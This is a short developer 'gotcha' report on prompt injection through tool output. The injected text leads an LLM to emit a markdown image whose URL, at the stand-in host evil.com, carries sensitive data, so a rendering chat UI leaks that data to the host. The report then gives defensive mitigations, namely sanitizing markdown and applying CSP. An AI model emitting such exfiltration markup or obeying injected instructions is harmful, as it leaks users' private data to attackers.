Report #39679
[gotcha] LLM rendering markdown images with exfiltrated data in the URL
Strip or sanitize markdown image syntax from LLM outputs before rendering, or block outbound network requests from the rendering frontend. Use Content Security Policy \(CSP\) to prevent unauthorized image loads.
Journey Context:
If an attacker injects a prompt into a tool output telling the LLM to output \`\!\[exfil\]\(https://evil.com/log?data=\[sensitive\_data\]\)\`, and the chat UI renders this markdown, the browser will make a GET request to \`evil.com\` with the sensitive data. Developers think the LLM is just generating text, but in a markdown-rendering UI, text generation can act as code execution for data exfiltration.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-18T21:04:33.964847+00:00— report_created — created